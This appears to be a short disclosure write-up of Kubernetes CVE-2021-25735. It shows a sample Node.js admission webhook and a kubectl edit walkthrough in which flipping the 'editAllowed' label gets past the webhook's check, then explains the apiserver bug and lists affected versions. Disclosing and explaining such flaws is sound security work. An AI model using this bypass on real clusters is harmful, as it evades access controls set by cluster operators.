K8s vulnerability CVE-2021-25735
Vulnerability
CVE-2021-25735 is published. In some cases, user can bypass the validation of Validating Admission Webhook
.
Concrete example
This example is a Validating Admission Webhook
which checks a label at node updation.
This allows updation when the label editAllowed
is true
otherwise it denies.
var https = require('https');
var fs = require('fs');
var options = {
key: fs.readFileSync('/tls/tls.key'),
cert: fs.readFileSync('/tls/tls.crt'),
requestCert: false,
rejectUnauthorized: false
};
var server = https.createServer(options);
server.on('request', doRequest);
server.listen(8080);
console.log('HTTPS Server running!');
function doRequest(req, res) {
if (req.headers['content-type'] !== 'application/json') {
console.log('content-type is not application/json:' + req.headers['content-type']);
return
}
if (req.method !== 'POST') {
console.log('method is not POST:' + req.method);
return
}
var body = '';
req.on('data', function(chunk) {
body += chunk;
});
req.on('end', function() {
const requestedAdmissionReview = JSON.parse(body);
isAllowed = requestedAdmissionReview.request.oldObject.metadata.labels['editAllowed'] === 'true';
responseAdmissionReview = {
'apiVersion': 'admission.k8s.io/v1',
'kind': 'AdmissionReview',
'response': {
'uid': requestedAdmissionReview.request.uid,
'allowed': isAllowed,
'status': {
'message': (isAllowed ? 'Validation succeeded' : 'Validation failed')
}
}
};
res.writeHead(200, {'Content-Type': 'application/json'});
res.write(JSON.stringify(responseAdmissionReview));
res.write('\n');
res.end();
});
}
Now let's update a node by following command.
$ kubectl edit nodes nodename
...
labels:
editAllowed: "false"
...
We try to add a label dummy: dummy
here.
labels:
dummy: dummy
editAllowed: "false"
Ofcourse it results in error by Validating Admission Webhook
.
error: nodes "nodename" could not be patched: admission webhook "sample-validating-webhook.hoge.fuga.local" denied the request: Validation failed
You can run `kubectl replace -f /tmp/kubectl-edit-9e91t.yaml` to try this update again.
What if we also change editAllowed
to true
?
labels:
dummy: dummy
editAllowed: "true"
By the change, we can bypass the validation of Validating Admission Webhook
and add dummy: dummy
label.
Cause
kube-apiserver
pass request.object
and request.oldObject
to Validating Admission Webhook
. request.object
contains new configs and request.oldObject
contains old configs. The bug that overwrite a part of request.oldObject
with ```request.object causes this issue.
Affected Operations and versions
If both conditions 1 and 2 are met, the system is affected by this vulnerability.
- Using
Validating Admission Webhook
for nodes - Using
Validating Admission Webhook
with old values
Affected kube-apiserver
versions
- kube-apiserver v1.20.0 - v1.20.5
- kube-apiserver v1.19.0 - v1.19.9
- kube-apiserver <= v1.18.17
Discussion